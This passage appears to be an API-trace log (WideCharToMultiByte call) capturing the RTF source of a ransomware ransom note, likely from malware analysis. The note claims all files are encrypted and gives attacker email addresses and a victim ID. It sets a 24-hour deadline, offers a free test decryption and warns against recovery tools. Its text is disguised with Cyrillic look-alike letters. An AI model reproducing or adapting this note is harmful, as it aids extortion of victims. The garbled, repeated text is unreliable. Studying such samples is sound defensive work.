\\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de8de8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 